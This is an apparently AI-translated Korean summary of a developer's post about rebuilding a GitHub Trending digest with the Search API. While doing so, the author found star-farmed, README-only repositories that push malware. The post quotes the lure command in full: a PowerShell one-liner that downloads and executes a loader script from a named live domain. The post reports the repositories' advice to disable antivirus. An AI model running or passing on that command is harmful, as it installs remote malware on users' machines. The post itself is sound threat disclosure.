GitHub Trending에 API가 없어 직접 재구축했는데, README 파일로만 만들어진 악성 저장소 4개를 발견했다
요약
GitHub Trending 페이지가 API 없이 사라지는 문제를 해결하기 위해 Search API를 재구축하여 사용했습니다. 이 과정에서 단순히 별점 개수만으로는 진정한 트렌드를 파악할 수 없으며, 특히 README 파일 하나로만 구성된 악성 저장소들이 발견되었습니다.
핵심 포인트
- GitHub Trending는 API가 없어 데이터 소스로 불안정합니다.
- Search API를 이용해 다이제스트 재구축이 가능하지만 한계가 있습니다.
- 별점 개수(stars)는 조작하기 쉬우며 속도(velocity) 측정이 중요합니다.
- 최근 생성된 트렌딩 레포지토리 중 상당수가 README 파일만 포함한 악성 저장소입니다.
이틀 전, 제가 매일 실행하던 GitHub 다이제스트 파이프라인에서 아무것도 돌아오지 않았습니다.
'결과 없음' 같은 것이 아니라 아예 '아무것도' 없었습니다. curl https://github.com/trending을 실행하자 19.4초 동안 대기하다가 HTTP 000을 반환했습니다. 리디렉션도 없고, 차단 페이지도 없고, 본문 내용도 없습니다. 그저 연결이 끊긴 소켓일 뿐입니다. Trendshift.io는 같은 분에 HTTP 200으로 응답했지만, 바이트 수는 0이었습니다. 왜냐하면 클라이언트 측에서 렌더링되는 SPA(Single Page Application)이기 때문입니다.
이것이 데이터 소스로서의 'GitHub Trending' 상태입니다: HTML 페이지 하나가 전부이고, API도 없고, 대체 방법도 없으며, 알려주지 않고 네트워크에서 사라질 수 있습니다. 그래서 저는 Search API를 이용해 다이제스트를 재구축했습니다. 그러자 이 재구축 과정은 Trending 페이지가 별점 개수와 경고 메시지 없이 보여줬을 것이었던 무언가를 발견했습니다.
Rebuild v1: Search API를 Trending 프록시처럼 사용하기
'trending'이라는 전용 엔드포인트는 없습니다. 가장 근접한 것은 검색창(birth-window query)을 이용해 별점 개수별로 정렬하는 것입니다:
gh api "search/repositories?q=created:>2026-09-28&sort=stars&order=desc&per_page=25" \
--jq '.items[] | "(.stargazers_count)\t(.full_name)\t(.language)"'
이것은 작동하며, 안정적이고, 인증(Authentication)도 됩니다 (시간당 5,000회 요청 가능). 하지만 이것은 진짜 트렌딩 정보가 아닙니다. 제가 측정한 세 가지 사각지대가 있습니다:
사각지대 1 — 절대적인 별점 개수 ≠ 속도(Velocity)
이 검색을 오래된 저장소에 적용하면, 트렌드가 아니라 기념비 같은 결과만 얻게 됩니다:
q=created:<2026-01-01+pushed:>2026-10-01+stars:>5000&sort=stars
486111 2016-03-20 public-apis/public-apis
...
freeCodeCamp는 456,759개의 별점을 가지고 있지만, '오늘'과 관련된 관련성은 전혀 없습니다. 단순히 별점 개수로 정렬하는 것은 _
블라인드 스팟 3: 위생 신호가 없으며, 별점(stars)은 가장 쉽게 조작할 수 있는 것이다
Search API는 하나의 숫자로 순위를 매깁니다. 이 숫자는 해당 레포지토리(repo)에 코드가 포함되어 있는지 여부에 대해서는 아무것도 알려주지 않습니다. 저는 검색 범위를 72시간으로 좁히고 어떤 결과가 나오는지 살펴보았습니다.
72시간 범위에서 발견된 것들
| stars | repo | files | forks | description |
|---|---|---|---|---|
| 939 | kargulstudio/sales-crm | 27 | 191 | (none) |
| ... |
지난 72시간 동안 생성된 가장 빠르게 상승한 레포지토리 10개 중 4개가 정확히 하나의 파일을 포함하고 있었습니다. 바로 2~4 KB 크기의 README.md 파일입니다. 코드는 없고, 포크도 없고, 릴리스도 없고, 라이선스도 없습니다. 레포지토리의 size 필드는 2 KB라고 되어 있으며, 이것이 전체 저장소 용량입니다.
네 개의 설명은 해당 레포지토리가 명백히 포함하고 있지 않은 제품("AutoCAD", "Microsoft Project", "FPS Booster")에 대한 LLM(대규모 언어 모델)이 작성한 마케팅 문구입니다. 이 네 개의 레포지토리는 2일 동안, 두 클러스터에 걸쳐 생성되었습니다:
Blockadezoshack/Microsoft-Project created 2026-10-04T11:37:45Z pushed 11:37:50Z
BlackCrewmanFringe/AutoCad created 2026-10-04T11:36:47Z pushed 11:36:52Z
AxeEradicate/Fps-Booster-for-Windows created 2026-10-03T11:18:49Z pushed 11:18:54Z
...
생성되고 마지막 푸시된 시점이 5초 간격입니다. 이것은 레포지토리가 아니라, 템플릿 렌더링에 git push가 추가된 것에 불과합니다.
페이로드(payload)와 씨앗화되었다는 증거
네 개의 README 모두 동일한 URL을 가리킵니다. 저는 HEAD 요청만 보냈을 뿐입니다. 아무것도 가져오거나 실행하지 않았습니다:
https://ps-ps.cc/powershell/Loader.ps1 → HTTP 200, resolves to 196.251.107.72
README에는 표준적인 미끼가 감겨 있습니다: powershell -ExecutionPolicy Bypass -Command "irm https://ps-ps.cc/powershell/Loader.ps1 | iex", 그리고 바이러스 백신이 문제를 일으킬 경우 실시간 보호를 일시 중지하는 방법을 설명하는 문제 해결 섹션, 그리고 제가 가장 좋아하는 디테일인 _"Search Indexes & Organic Target Queries"_라는 제목의 섹션에는 레포지토리가 목표로 하는 SEO 문자열 목록이 적혀 있습니다. 이 레포지토리들은 인간을 위해 만들어진 것이 아닙니다. 발견되기 위해 만들어졌습니다.
그리고 실제로 그랬다. 여기는 /repos/{repo}/events에서 가져온 별점(star) 도착 분포이다:
2026-10-04T11:13:48Z
2026-10-04T11:13:49Z
2026-10-04T11:13:49Z
...
5초도 안 되는 시간에 100개의 별점이, 포크(fork)는 하나도 없이 몰려왔다. 레포지토리에 별점을 준 사람이 그것을 포크하는 경우는 거의 없다. 2KB 파일에 100개의 별점과 0개의 포크는 인간의 활동이라기보다는 star-farm API 호출의 특징이다.
이것을 구축하면서 얻은 두 가지 유용한 부가 정보:
- 별점 타임스탬프를 가져오는 문서화된 방법인
/repos/{r}/stargazers에Accept: application/vnd.github.star+json을 사용해도,torvalds/linux의 경우를 포함하여 404가 반환된다. 작동하는 임시방편은/events이다 (WatchEvent 스트림, 90일 창). - 레포지토리 페이로드에는
stargazers_count는 있지만,starred_at은 없기 때문에 버스트(burst) 감지는 항상 레포지토리당 추가 요청 비용을 발생시킨다. 이 비용을 예산에 포함해야 한다.
필터링 시 과적합하지 않기 위한 통제 사례
파일 수가 적다고 해서 레포지토리가 자동으로 사기는 아니다. wy51ai/floorplan-3d는 내가 상위 25개 목록에 있다: 별점 1,394개, 파일 5개, 그중 하나는 완전한 2D+3D 평면도 편집기를 포함하는 185KB의 index.html이다.
- 레포지토리 페이로드 내에
starred_at을 포함하여 버스트 감지(burst detection)가 무료로 이루어질 수 있도록 해야 합니다. - 문서화된 랭킹 공식이 있는 실제 트렌딩 API, 또는 최소한 정적인 JSON 스냅샷이 필요합니다.
- 검색 API 응답에 별점 개수 관련 신호(star-count sanity signal)가 필요합니다. 심지어
stars_per_day_since_creation처럼 단순한 지표라도 좋습니다. - 문서화되어 있으며 제가 테스트한 모든 레포지토리에서 현재 404 오류가 발생하는
star+json미디어 타입의/stargazers를 복원해야 합니다.
불편한 진실
이 다이제스트(digest)는 "오늘 커뮤니티가 무엇에 흥분하고 있는지?"에 답하기 위해 존재합니다. 알고 보니, 어떤 것이든 별점 순으로 정렬된 목록—트렌딩, 검색 API, 자체 애그리게이터 등—은 **발견 표면(discovery surface)**이며, 이러한 발견 표면들은 착취당합니다(get farmed). 이 네 개의 레포지토리를 저렴하게 구축할 수 있게 만든 속성들(README만 있음, 라이선스 없음, 즉시 푸시)은 시딩하기에도 저렴했고, 페이로드 작성자는 4개의 git push 호출 비용으로 48시간도 안 되어 1,349개 별점 분량의 무료 배포를 얻었습니다.
트렌딩 다이제스트를 구축한다면, 위생 게이트(hygiene gate)는 선택 사항이 아닙니다. 그것은 당신의 피드가 신호인지 아니면 누군가의 배포 채널인지를 결정하는 부분입니다.
감사 게이트(audit gates)와 스냅샷-차이점 도구(snapshot-diff tooling)는 content tools repo에서 에이전트 자체 점검 게이트 및 규칙 바인딩 감사에 대한 이전 글들과 함께 제공됩니다. 또한 이러한 유틸리티의 패키징된 버전(컨테이너 설정 검사기, 환경 드리프트 검사기, HTTP 헤더 감사기)을 虾评에서도 게시합니다. 만약 레포지토리 위생 게이트를 즉시 사용할 수 있는 패키지 형태로 원한다면, 그곳에서 다음으로 제공될 것입니다.
AI 자동 생성 콘텐츠
본 콘텐츠는 Dev.to AI tag의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.
원문 바로가기